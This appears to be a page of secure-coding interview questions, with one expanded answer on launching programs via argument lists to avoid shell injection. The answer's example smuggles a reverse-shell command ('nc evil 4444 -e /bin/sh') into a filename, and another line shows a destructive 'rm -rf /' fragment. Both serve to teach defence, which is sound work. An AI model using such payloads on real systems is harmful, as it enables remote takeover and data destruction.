skip to content

Secure Coding Principles

The habits that kill whole categories of bugs at once — distrust every external input, fail closed, grant the least privilege that works, keep data from ever being read as code, and validate at trust boundaries. Interviewers ask about principles rather than individual CVEs because a candidate who reasons this way avoids the bugs they have not seen yet.

part ofApplication security & secure codingoverview, primer and where to startread it →
on this pageshow

questions

page 1 of 2

What is the practical difference between launching an external program by handing the operating system a single command-line string versus an explicit list of arguments, and why does the second remove a whole bug class rather than reducing it?

level: juniorimportance: must knowfreq 58%

answer

  1. kernel exec takes (path, argv[], envp[]) — no lexer
  2. command string ⇒ a shell starts ⇒ parsing happens
  3. lose pipes/redirect/glob: reimplement in-process
  4. Windows: one command-line string; callee re-splits it
  5. absolute program path + explicitly built environment

basics

~20 s

A command string is parsed by a shell, so user bytes can become syntax. An argument list is handed to the process-creation call as an array — no parsing step exists, so a value containing ; rm -rf / is just an odd argument. You lose pipes, redirection and globbing, and must do them yourself.

solid answer

~60 s

On Unix-like systems the process-creation primitive takes a program path plus an **array** of arguments and an environment. There is no lexer in that path: whatever bytes are in element two arrive at the child as element two. A "run this command line" API is different in kind — it starts a **shell**, which performs expansion, command substitution, word splitting, globbing, redirection and command chaining on your string first. That is the parsing step where user data becomes structure, and passing an array deletes it rather than filtering it. What you give up is everything the shell was doing for you: pipes, `>` redirection, `*` globbing, `~` and variable expansion, and `&&` chaining. Re-implement those in your own process — open the files and wire the descriptors, list the directory yourself, run the two programs and connect them. Caveats worth naming: on Windows the underlying call takes a *single* command-line string, so the callee reconstructs its own argument array and the abstraction is rebuilt on top of a string; and some runtimes silently fall back to a shell when handed a string, or when the target is a script without a usable interpreter line.

code

text · 14 lines
text
UNSAFE
  run("gzip " + name)              # a shell parses this line
  name = "f.txt; nc evil 4444 -e /bin/sh"
  shell sees:  gzip f.txt ; nc evil 4444 -e /bin/sh

SAFE (POSIX)
  exec("/usr/bin/gzip", ["gzip", "--", "./" + name], env={PATH:"/usr/bin"})
  argv[2] is the literal bytes "./f.txt; nc evil 4444 -e /bin/sh"
  -> gzip reports: no such file

NEEDED A PIPE?
  r, w = make_pipe()
  exec(progA, [...], stdout=w)
  exec(progB, [...], stdin=r)      # you own the wiring, not a shell

go deeper

for a junior

Say that a command string is parsed by a shell while an argument list is passed straight through, and give the one-line example of a semicolon in a filename being harmless in the second form.

for a middle

Explain the kernel-level reason there is no parsing step, list what the shell was providing and how to replace each piece, and mention that some APIs silently use a shell.

for a senior

Bring in the Windows divergence, script-interpreter fallbacks, absolute program paths and a constructed environment, and position the array launch as the structural rung.

for a principal

Talk about making the safe path the only reachable one — a single audited launch wrapper, a lint rule banning string-form APIs, and an inventory of shells embedded in configuration and tooling.

## What the operating system actually offers On Unix-like systems the primitive for replacing a process image takes three things: the path to an executable, an **array of argument strings**, and an array of environment strings. The kernel does not tokenize, does not split on spaces, does not expand `*`, and has never heard of `;`. Element *n* of the array you supply becomes element *n* of the child's argument array, byte for byte, including spaces, quotes, semicolons and newlines. That is the whole reason the array form is a *guarantee* and not a mitigation: there is no parsing stage in which a byte of your data could be promoted to syntax, so the failure mode does not exist rather than being made unlikely. ## What a command string does instead A "run this command line" API does not talk to the kernel with your string. It starts a shell and gives the string to the shell as a program to interpret. The shell then performs, in order, roughly: brace and tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, word splitting on the field-separator variable, pathname expansion (globbing), quote removal, and redirection setup — after having already split the line into a list of pipelines separated by `;`, `&&`, `||`, `&` or newlines. Every one of those steps is an opportunity for a byte that came from a user to change what runs. And several bite even without an obvious metacharacter: an unquoted value containing a space becomes two arguments; a value containing `*` becomes a directory listing; a value containing `~` becomes a home directory. ## What you lose, and how to get it back The shell was doing real work. Without it: - **Pipes**: launch both programs yourself and connect the first one's output descriptor to the second one's input descriptor. - **Redirection**: open the file in your own process with the flags and permissions you intend, and pass the descriptor to the child. - **Globbing**: list the directory with a directory API and match names yourself — which is also safer, because you control whether hidden files, symlinks or names starting with a dash are included. - **Variable expansion**: build the value in your own code and pass it as an argument or in the child's environment. - **Chaining and conditionals**: run the programs in sequence in your own code and branch on exit status, which gives you better error handling anyway. Re-implementing these is usually a few lines, and each one moves a decision from a text-parsing layer into typed code. ## Three places the guarantee weakens, and they diverge This is where the interesting divergence lies, and a strong answer names it. **1. Unix-like: the array is real.** The kernel receives an array; the child receives that array. The only structure left is the child's own interpretation of it, which is a separate concern. **2. Windows: the array is a fiction rebuilt from a string.** The process-creation call takes a *single command-line string*. Whatever "argument list" API your runtime exposes serialises your array into that string using some quoting convention, and the child then splits it back apart using *its own* convention — commonly the C runtime's rules, but a given program is free to parse the raw command line however it likes. Two consequences: your runtime's quoting helper and the callee's parser can disagree, and any target that is a batch script is executed through the command interpreter, whose parsing rules are different again — it has its own escape character and expands environment references at parse time, with a second, later expansion mode that re-parses after substitution. So on Windows an "argument vector" is a convention layered over a string, and its safety depends on both sides agreeing. **3. The runtime's own fallback behaviour.** Several mainstream launch APIs accept either a string or an array and *silently use a shell* for the string form; some expose an explicit "use a shell" flag that defaults on in one overload and off in another; and executing a script file whose interpreter line is missing or invalid has historically fallen back to a shell. The lesson is to know exactly which form your call is using, and to ban the string-accepting form in review or lint rather than trusting each call site. ## The environment is a second channel Even a perfect array launch inherits an environment. The child's behaviour can be steered through it: the search path used to resolve a bare program name, the field-separator variable read by any shell script the child runs, dynamic-loader variables that preload code, locale and temporary-directory variables. Two habits follow: resolve the executable with an absolute path from code rather than relying on a search path, and pass a small, explicitly constructed environment rather than inheriting whatever the parent happened to have — especially in a process whose environment holds credentials. ## Where this sits on the ladder The array launch is **structural separation** — the top rung, a guarantee, because it removes the interpreter rather than constraining what is fed to it. Everything below is weaker by construction: escaping means modelling a lexer, validation means guessing at inputs, detection means finding out afterwards. The one thing structural separation here does *not* cover is the callee's own reading of its arguments, which needs a closed-world control of its own.

  • Your code needs to write the program's output to a file chosen by the user. How do you do that without a shell?
    Open the file yourself in your own process — after resolving and checking the path against the directory you intend — and pass the resulting descriptor to the child as its standard output. You then control the open flags, whether an existing file is truncated or the write must create a new file, the permissions, and whether symlinks are followed. Shell redirection gives you none of those choices and takes the destination from a parsed string.
  • Does using an argument list on Windows give the same guarantee as on Unix?
    Not quite. The Windows process-creation call takes a single command-line string, so a runtime's argument-list API serialises your array into that string and the child reconstructs an array from it using its own parsing rules — usually the C runtime's, but each program may differ. That means the safety depends on the two sides agreeing on quoting, and a target that is a batch file is run through the command interpreter with different rules again. Prefer APIs that are explicit about the target and avoid invoking scripts with user-influenced arguments.
  • Why resolve the executable by absolute path and construct the environment explicitly?
    A bare program name is resolved through a search path, so anyone who can influence that variable — or drop a file into an early directory on it — chooses which binary runs. Inheriting the whole environment also hands the child variables that change loader behaviour, field splitting for any shell script it runs, and temporary-file locations, and it leaks any credentials the parent holds. Pass an absolute path and a minimal, code-built environment.

saying these in an interview costs you the question

  • Believing an argument array is merely "safer" rather than removing the parsing step entirely.
  • Adding quotes around the interpolated value in a command string and calling that equivalent.
  • Not knowing that a particular launch API spawns a shell when handed a string.
  • Assuming a value with no shell metacharacters is safe when word splitting, globbing and a leading dash still apply.
  • Passing the parent's full environment, including credentials and a mutable search path, to the child.

context

open as a page

Explain the difference between allowlist (positive) and denylist (negative) input validation, why one of them is structurally stronger rather than merely better practice, and where the stronger one stops working.

level: juniorimportance: must knowfreq 80%

basics

~20 s

A denylist enumerates the attacker's moves — an open-ended, growing set — and fails open on anything unforeseen. An allowlist enumerates the application's own domain — finite and known — and fails closed. The difference is open-world versus closed-world, not optimism versus pessimism.

open as a page

A size check is written as `if (offset + length > buffer_size) reject;` where both `offset` and `length` come from an untrusted request. Explain why this check is unsafe on fixed-width integers and how you would rewrite it so it is correct for the whole input range.

level: juniorimportance: must knowfreq 40%

basics

~20 s

The check itself does the overflowing arithmetic: if offset + length wraps, the sum becomes small and the guard passes for values that are far out of range. Rewrite it so nothing can wrap — compare by subtraction against the known limit, or use a checked-addition operation that fails on overflow.

open as a page

The standard advice for keeping credentials out of a codebase is to inject them as process environment variables at deployment time. What does that injection actually guarantee, what does it not guarantee, and what does it imply about rotating the value?

level: juniorimportance: must knowfreq 62%

basics

~20 s

It separates the credential from the artifact, so one build runs in many environments and the value is not in version control. It does not encrypt anything, does not narrow who on the host can read it, and it is read once at start — so rotation needs a restart.

open as a page

Of all the places a secret can end up by accident, diagnostic output — application logs, error messages, crash reports and telemetry — is the one that causes the most incidents. Explain why that surface is worse than a copy sitting in process memory, list the mechanisms by which secrets reach it without anyone writing a log statement containing one, and describe the strongest structural fix.

level: juniorimportance: must knowfreq 70%

basics

~20 s

A memory copy lives milliseconds behind a process boundary; a log line lives for years, replicated, indexed, shipped to third parties and readable by many people. Secrets arrive there through automatic serialisation, exception messages and URLs — not through deliberate logging.

open as a page

OS command injection is usually taught as "strip out semicolons and pipes." Give the definition of the defect that also explains how a program can be exploited when no shell is involved and no metacharacter is accepted, and state the invariant the calling code must hold.

level: middleimportance: must knowfreq 65%

basics

~20 s

The defect is untrusted data deciding structure at an interpreter boundary. There are two here: the shell that parses a string into a command list, and the invoked program's own option parser reading its arguments. Removing the shell closes only the first.

open as a page

Insecure deserialization is usually taught as "don't accept a malicious byte blob". Give the definition of the bug class that also explains why a YAML document with type tags, a language's native object stream, and a JSON payload with polymorphic type binding all share the same defect — and why "validate the blob before deserializing it" is the wrong frame.

level: middleimportance: must knowfreq 58%

basics

~20 s

A deserializer is an interpreter. The defect is that the encoded input, not the code, chooses which types are constructed and which reconstruction hooks run. Validate-first fails because you must decode the data to inspect it, and decoding is the dangerous act.

open as a page

Input validation is often taught as "strip the dangerous characters before you use the value". Give the definition of validation that explains what it can and cannot guarantee, and why treating it as the fix for injection is the wrong frame.

level: middleimportance: must knowfreq 72%

basics

~20 s

Validation is a closed-world constraint applied at a trust boundary in terms of your own domain, without knowing the grammar of whatever will eventually consume the value. It shrinks the input space and owns resource limits; it cannot guarantee safety at a parser it has never seen.

open as a page

Silent integer wraparound is usually taught as "the number got too big and started again from the bottom". Give the definition that explains why it is a security bug class rather than an arithmetic curiosity, and explain why "just use a wider type" is the wrong frame for it.

level: middleimportance: must knowfreq 45%

basics

~20 s

Fixed-width arithmetic is modular, so a computed value can differ from the mathematical result. Any check written over that computation stops being a proof about the real quantity. The bug is that the value you validated and the value you use disagree; a wider type only moves the modulus, it does not restore the proof.

open as a page

A single user-supplied value can land in several different positions inside one rendered page. Enumerate those output positions, explain why one generic HTML-escaping helper is insufficient for all of them, and describe what changes when the positions nest inside each other.

level: middleimportance: must knowfreq 62%

basics

~20 s

A value can land in element text, a quoted attribute, an unquoted attribute, an event-handler attribute, a URL attribute, inside a script block, or in CSS. Each is a different grammar with a different escape set. Where they nest, the value passes through two decoders, so it must be encoded for both, innermost grammar first.

open as a page

Escaping untrusted data is usually taught as "strip or replace the dangerous characters". Give the definition of output encoding that explains why the same string can be safe in one output position and dangerous in another, and why transforming data when it arrives is the wrong frame.

level: middleimportance: must knowfreq 60%

basics

~20 s

Encoding is a function of the destination grammar, not of the data. At the moment a value is placed into an interpreter's input, it must be transformed into a lexeme that parser cannot exit. Nothing about the string alone is dangerous, so a transformation chosen at arrival — before the destination is known — cannot be correct.

open as a page

Path traversal is usually taught as "strip ../ out of the filename". Give the definition of the bug class that also explains why an archive extractor, a URL path passing through a reverse proxy, and a symlink planted in an upload directory all exhibit it — and say why filtering the incoming string is the wrong frame.

level: middleimportance: must knowfreq 58%

basics

~20 s

A name is a small program in a resolver's language, and .., absolute roots and symlinks are its operators. The bug is authorising the submitted string while operating on whatever object the resolver returns. Filtering guesses at an open-world, resolver-defined operator set.

open as a page

Hardcoding a credential is usually taught as "don't put the password in the source file". Give the definition of the defect that also explains why the same value sitting in a container image layer, a build log, or a compiled binary is just as bad — and why deleting the line and force-pushing is the wrong frame for the fix.

level: middleimportance: must knowfreq 70%

basics

~20 s

A secret is a bearer authenticator whose worth depends on controlled distribution and revocability. The defect is copying it into any store that is replicated, append-only, or readable by more principals than the holder. Rotate first; deletion is best-effort.

open as a page

A long-standing piece of advice says to hold a password or key in a mutable byte or character buffer rather than an immutable string type. State the property that advice is really about, why immutable string types are the wrong container for a secret, and how the answer differs across runtimes with different memory management.

level: middleimportance: must knowfreq 55%

basics

~20 s

The property is the lifetime of plaintext in memory. Immutable strings cannot be erased — you can drop the reference but not the bytes, so the value lingers until collection and beyond. A mutable buffer gives you the ability to overwrite it now.

open as a page

Why is binding a value as a query parameter fundamentally different from escaping the quotes in that value before concatenating it, and where does escaping break down across different database engines?

level: middleimportance: must knowfreq 80%

basics

~20 s

Binding fixes the statement's structure at parse time, before any value exists, so a value can never become syntax. Escaping tries to neutralise characters afterwards and must model each engine's lexer and session settings exactly — which differ, so it fails.

open as a page

SQL injection is usually taught as a quoting problem — "the apostrophe breaks out of the string literal." Give a definition of the bug class that also explains an unquoted numeric predicate such as `WHERE id = <input>`, and state the properties a call site must have for the defect to exist at all. Why is "block the dangerous characters" the wrong frame?

level: middleimportance: must knowfreq 58%

basics

~20 s

Injection exists wherever untrusted input reaches an interpreter through a channel in which the input's own content decides its grammatical role. Two properties make it possible — one channel for instructions and data, and an interpreter more expressive than the intended operation. Characters are incidental.

open as a page

A service starts external operating-system programs at several dozen call sites, and at one of them an attacker can influence what gets launched. Concretely, what does the attacker gain? And why is a call site that returns nothing to the caller no safer than one that prints the program's output?

level: seniorimportance: must knowfreq 45%

basics

~20 s

They gain arbitrary execution as the launching process's own principal: its identity, its environment secrets, its files, its network position and any credential-issuing endpoint it can reach. A silent site is still exploitable — timing and outbound DNS or HTTP lookups confirm execution and carry data out.

open as a page

Rank the defences available when a service must accept serialized data from an untrusted producer, from strongest to weakest, and justify at least one adjacent pair. Where does a blocklist of known-dangerous types sit, and why does it sit there?

level: seniorimportance: must knowfreq 45%

basics

~20 s

Structural separation first: a format with no type channel, bound into a code-chosen type. Where polymorphism is unavoidable, closed-world enumeration takes the top rung. Then validation — blocklists, size and depth caps — which is open-world heuristic. Detection last.

open as a page

Why must untrusted input be canonicalised before it is validated, and what class of bug appears when validation runs on the raw form? Give concrete examples of processors that disagree about what the same bytes mean.

level: seniorimportance: must knowfreq 50%

basics

~20 s

Because a rule applied to one representation says nothing about a different representation of the same value. Every bypass is a parser differential: the validator and the consumer decoded differently. Canonicalise once, validate the canonical form, never decode again downstream.

open as a page

In a system built from several services, which inputs actually count as untrusted, and where should validation happen — at the edge gateway, inside each service, or both? Include the input sources teams routinely forget.

level: seniorimportance: must knowfreq 55%

basics

~20 s

Untrusted means "someone outside this component's authority could have influenced these bytes" — not "came from the internet". Validate at every trust boundary, in each service's own domain terms; an edge gateway can only do coarse, schema-and-size filtering and can never be the sole control.

open as a page

Cross-site scripting is commonly split into reflected, stored and DOM-based forms. Explain what actually distinguishes them at the level of where untrusted data becomes code, and why that distinction changes which defences and which detection can possibly work.

level: seniorimportance: must knowfreq 58%

basics

~20 s

The three differ by where the data-to-code transition happens and how the data got there. Reflected and stored transitions occur while the server builds the response; the DOM-based transition occurs in the browser, in client code writing to a script-executing sink. Server-side encoding cannot fix the third, and server-side logs and filters never see it.

open as a page

A service must return files from a directory, and part of the file's name arrives in the request. Rank the available defences from strongest to weakest, say what each one actually guarantees, and state what a canonicalise-then-compare-the-prefix implementation is still assuming.

level: seniorimportance: must knowfreq 50%

basics

~20 s

Strongest first: structural separation (a resolver confined to the base); then closed-world enumeration (an id mapped to a code-owned name); then transformation (canonicalise, then containment-test the resolved path); then validation; then detection. Prefix checks assume component-wise comparison, symlinks resolved, and nothing changing before use.

open as a page

A team says they have solved credential storage: the configuration file is encrypted, and the decryption key ships inside the application package. Explain the general problem this illustrates, and what can actually terminate the chain.

level: seniorimportance: must knowfreq 50%

basics

~20 s

It is the bootstrap problem: encrypting configuration relocates the secret to the key, so shipping that key together with the ciphertext restores the original defect. The chain only terminates in something that is not a shipped secret — an attested workload identity, hardware-held key material, or a human.

open as a page

What does rotating a credential actually guarantee — and what does it not — and how do you design a system so that rotation is a routine, non-disruptive operation instead of a coordinated outage?

level: seniorimportance: must knowfreq 52%

basics

~20 s

Rotation bounds how long an undetected compromise stays useful; it neither prevents nor detects disclosure. Routine rotation requires overlapping validity of two generations, identified versions, consumers that re-read rather than cache forever, and re-issue that is automated and reversible.

open as a page

A service decodes JSON with a general-purpose object mapper, and someone turns on the mapper's polymorphic type handling globally so that interface-typed fields round-trip. Explain what that configuration changes about which types an incoming document can cause to be constructed, why a global switch differs from declaring permitted subtypes on one field, what a YAML library's "safe load" entry point actually is in the same terms, and what a team has and has not achieved by migrating an endpoint from a native object stream to JSON.

level: middleimportance: should knowfreq 40%

basics

~20 s

Polymorphic type handling lets the document name the type to construct. Globally, every polymorphic field becomes an open-world type-selection channel; per-field with an enumerated subtype list is closed-world. A format migration that keeps the global switch changes syntax, not exposure.

open as a page

A service extracts user-uploaded archives to disk, using the member names stored inside the archive. Explain why that hands an attacker a file-write primitive, and what a safe extractor verifies that a naive one does not — beyond rejecting names that contain `..`.

level: middleimportance: should knowfreq 42%

basics

~20 s

Member names are attacker-authored strings that the extractor resolves under a destination, so each one is a write of chosen content to a chosen name. Beyond ..: absolute and drive-qualified names, link members that redirect later members, and name collisions after case folding or Unicode normalisation.

open as a page

Automated scanning for committed credentials is a standard control. Explain what a scanner can and cannot establish, why some credential formats are far easier to find than others, and what that implies for teams that issue credentials.

level: middleimportance: should knowfreq 45%

basics

~20 s

Scanning is detection: it finds some of what already leaked and proves nothing about what it missed. Recognisable credentials — distinctive prefix plus a checksum — can be found reliably; generic high-entropy strings and passwords cannot. So issuers should make credentials self-identifying.

open as a page

The advice to wipe a secret "promptly after use" assumes there is an after. What do you do about a decrypted signing key that every request needs for the lifetime of the process, and how should the handling rules differ between a secret held for milliseconds, one held for a session, and one held for the life of the process?

level: middleimportance: should knowfreq 38%

basics

~20 s

Classify by lifetime. For milliseconds-scale secrets, wiping genuinely shrinks the window. For process-lifetime secrets there is no window to shrink, so the controls shift to who can read the process, delegating the operation elsewhere, and shortening the credential's validity instead of its residency.

open as a page

Sometimes you genuinely must interpolate a value into a command line that a shell will parse. Explain why quoting and escaping is a structurally weaker defence here, and what exactly you have to model to get it right.

level: seniorimportance: should knowfreq 40%

basics

~20 s

Escaping means reimplementing a specific shell's lexer. Shells diverge on which quoting context suppresses what, on escape characters, and on how many times a string is parsed — so the escape is only correct for the exact interpreter you actually invoke, which you often do not control.

open as a page

Two services run the same source code and the same call that rebuilds application objects from attacker-influenced serialized bytes, yet a security team rates one critical and the other low. Describe what an attacker actually achieves at such a decode point, and explain why the set of types the decoding process can construct — not the code — is what separates the two ratings.

level: seniorimportance: should knowfreq 38%

basics

~20 s

Outcomes split into exhaustion, state tampering, disclosure, code execution, and second-order pivot. Identical code differs in risk because of the capability surface: which types that process can construct. Adding a dependency can arm a sink that was inert for years.

open as a page

showing 1–30 of 45